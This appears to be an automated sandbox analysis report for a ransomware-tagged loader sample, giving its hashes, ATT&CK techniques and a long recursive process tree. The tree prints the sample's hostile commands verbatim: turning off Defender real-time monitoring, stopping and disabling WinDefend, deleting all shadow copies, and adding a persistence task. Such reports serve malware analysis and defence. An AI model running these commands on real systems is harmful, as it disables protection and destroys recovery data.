2323c22b25cdbfd64e56b20232ef83159610bdcddd34f1f5ea9c4165248f0015

Analysis

user interaction
yes
max time kernel
38s
max time network
78s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 15:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lvrium_loader.exe
Size 322KB
Sample260626-te21msds7k
SHA256 2323c22b25cdbfd64e56b20232ef83159610bdcddd34f1f5ea9c4165248f0015
MD5 959c82a405561ad3a0b89c45ee2b17ab
SHA1 5de69fb1343443c20299e6d34aa7c385e69b4fe7
SHA512 025260fd2663cea8658b3986f98225e9876f9a95f886e5a4e7d8d62725e4cbd790e0e86b6fb4c826a580228c26248e33b9a8b4a956d962e2d2d36229934ef2ba
SSDEEP 6144:XxYqdrltyeWxJSANOCA7GTp3GtYu4NdHWVUUrNdPqdjTe2N:XXdJtEJScw7GTp3GEdH+N1u
TLSH
T15064292BEB7289F8C16BC03496E7D372A031BC5903347E5A1795CB313F11A645F9AE68
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1764	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5280	sc.exe
5876	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
55164	Process not Found

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5980	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeIncreaseQuotaPrivilege	1764	powershell.exe
Token: SeSecurityPrivilege	1764	powershell.exe
Token: SeTakeOwnershipPrivilege	1764	powershell.exe
Token: SeLoadDriverPrivilege	1764	powershell.exe
Token: SeSystemProfilePrivilege	1764	powershell.exe
Token: SeSystemtimePrivilege	1764	powershell.exe
Token: SeProfSingleProcessPrivilege	1764	powershell.exe
Token: SeIncBasePriorityPrivilege	1764	powershell.exe
Token: SeCreatePagefilePrivilege	1764	powershell.exe
Token: SeBackupPrivilege	1764	powershell.exe
Token: SeRestorePrivilege	1764	powershell.exe
Token: SeShutdownPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeSystemEnvironmentPrivilege	1764	powershell.exe
Token: SeRemoteShutdownPrivilege	1764	powershell.exe
Token: SeUndockPrivilege	1764	powershell.exe
Token: SeManageVolumePrivilege	1764	powershell.exe
Token: 33	1764	powershell.exe
Token: 34	1764	powershell.exe
Token: 35	1764	powershell.exe
Token: 36	1764	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 6068 wrote to memory of 3780	6068	lvrium_loader.exe	89
PID 3780 wrote to memory of 1764	3780	cmd.exe	91
PID 6068 wrote to memory of 3220	6068	lvrium_loader.exe	93
PID 3220 wrote to memory of 5280	3220	cmd.exe	95
PID 6068 wrote to memory of 5172	6068	lvrium_loader.exe	96

C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
"C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6068
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1764
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5280
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:5172
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:5876
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:5820
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5980
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "MsProc" /TR "\"C:\Users\Admin\AppData\Roaming\HostMonitor.exe\"" /RL HIGHEST
  2⤵
  PID:5984
- - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
    3⤵
    PID:4084
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:3392
    - - C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        5⤵
        
        PID:5760
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:1368
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:2392
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:1788
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:1168
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:3496
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:5936
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:1148
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:992
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:1112
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:1900
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:4984
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:4184
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:588
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:4308
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:3520
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:4920
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:2996
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:3276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:4160
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:3148
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:320
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:3156
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:2656
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:5152
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:5836
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:3856
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:5880
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        45⤵
        
        PID:2320
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:332
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        47⤵
        
        PID:6172
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        49⤵
        
        PID:6276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:6296
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        51⤵
        
        PID:6388
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:6408
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        53⤵
        
        PID:6492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        55⤵
        
        PID:6624
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:6640
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        57⤵
        
        PID:6696
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:6728
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        59⤵
        
        PID:6804
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        61⤵
        
        PID:6916
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:7020
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:7064
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        65⤵
        
        PID:7128
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:6140
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:6672
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        69⤵
        
        PID:7204
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:7236
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        71⤵
        
        PID:7308
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:7340
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        73⤵
        
        PID:7416
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:7456
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:7520
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:7552
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        77⤵
        
        PID:7616
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:7648
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        79⤵
        
        PID:7728
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:7768
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        81⤵
        
        PID:7832
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:7864
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        83⤵
        
        PID:7936
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:7964
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        85⤵
        
        PID:8032
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:8056
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        87⤵
        
        PID:8144
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        88⤵
        
        PID:8188
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        89⤵
        
        PID:7588
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        90⤵
        
        PID:7892
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        91⤵
        
        PID:8220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        92⤵
        
        PID:8252
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        93⤵
        
        PID:8332
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        94⤵
        
        PID:8352
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        95⤵
        
        PID:8428
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        96⤵
        
        PID:8452
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        97⤵
        
        PID:8532
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        98⤵
        
        PID:8548
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        99⤵
        
        PID:8620
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        100⤵
        
        PID:8644
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        101⤵
        
        PID:8720
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        102⤵
        
        PID:8756
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        103⤵
        
        PID:8844
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        104⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        105⤵
        
        PID:8952
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        106⤵
        
        PID:8980
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        107⤵
        
        PID:9060
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        108⤵
        
        PID:9096
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        109⤵
        
        PID:9164
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        110⤵
        
        PID:9188
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        111⤵
        
        PID:8716
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        112⤵
        
        PID:8920
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        113⤵
        
        PID:9260
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        114⤵
        
        PID:9288
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        115⤵
        
        PID:9372
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        116⤵
        
        PID:9400
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        117⤵
        
        PID:9476
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        118⤵
        
        PID:9500
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        119⤵
        
        PID:9572
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        120⤵
        
        PID:9600
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        121⤵
        
        PID:9680
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        122⤵
        
        PID:9704
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        123⤵
        
        PID:9784
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        124⤵
        
        PID:9808
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        125⤵
        
        PID:9896
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        126⤵
        
        PID:9928
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        127⤵
        
        PID:9996
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        128⤵
        
        PID:10020
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        129⤵
        
        PID:10108
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        130⤵
        
        PID:10148
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        131⤵
        
        PID:10204
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        132⤵
        
        PID:10236
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        133⤵
        
        PID:9972
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        134⤵
        
        PID:10164
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        135⤵
        
        PID:10304
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        136⤵
        
        PID:10332
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
